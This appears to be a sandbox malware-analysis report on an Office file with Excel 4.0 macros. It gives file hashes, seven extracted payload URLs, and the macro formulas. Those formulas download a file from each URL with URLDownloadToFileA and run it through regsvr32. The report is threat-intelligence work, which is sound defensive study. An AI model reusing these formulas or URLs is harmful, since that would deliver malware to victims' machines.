General
-
Target
8befd22bffa7da5e343d8429fe14632201a39f03d319bfcab87ba7bbb347343b
-
Size
38KB
-
MD5
f8dff00ed342355fd721ebc98b6cd472
-
SHA1
e183fb15cab8737753ba958724438ff043307036
-
SHA256
8befd22bffa7da5e343d8429fe14632201a39f03d319bfcab87ba7bbb347343b
-
SHA512
0a412328cf6161e79b0e28672f84fc8f4c9285a7a62f7a9a90114da6b7b17c43f0059bd65e418721b6b8f36c9aad6a8cc97afc24da8d74e3c5b1737ee11850dc
-
SSDEEP
768:2dUCR8xZ5jOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIy5:e5wXOZZ1ZYpoQ/pMAeVIyMId
Malware Config
Extracted
https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/
https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/
https://blog.centerking.top/wp-includes/WEIuPafz0bS/
https://edu-media.cn/wp-admin/TOu/
https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/
https://lydt.cc/wp-includes/jprpcO8U/
https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.centerking.top/wp-includes/WEIuPafz0bS/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://edu-media.cn/wp-admin/TOu/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lydt.cc/wp-includes/jprpcO8U/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
8befd22bffa7da5e343d8429fe14632201a39f03d319bfcab87ba7bbb347343b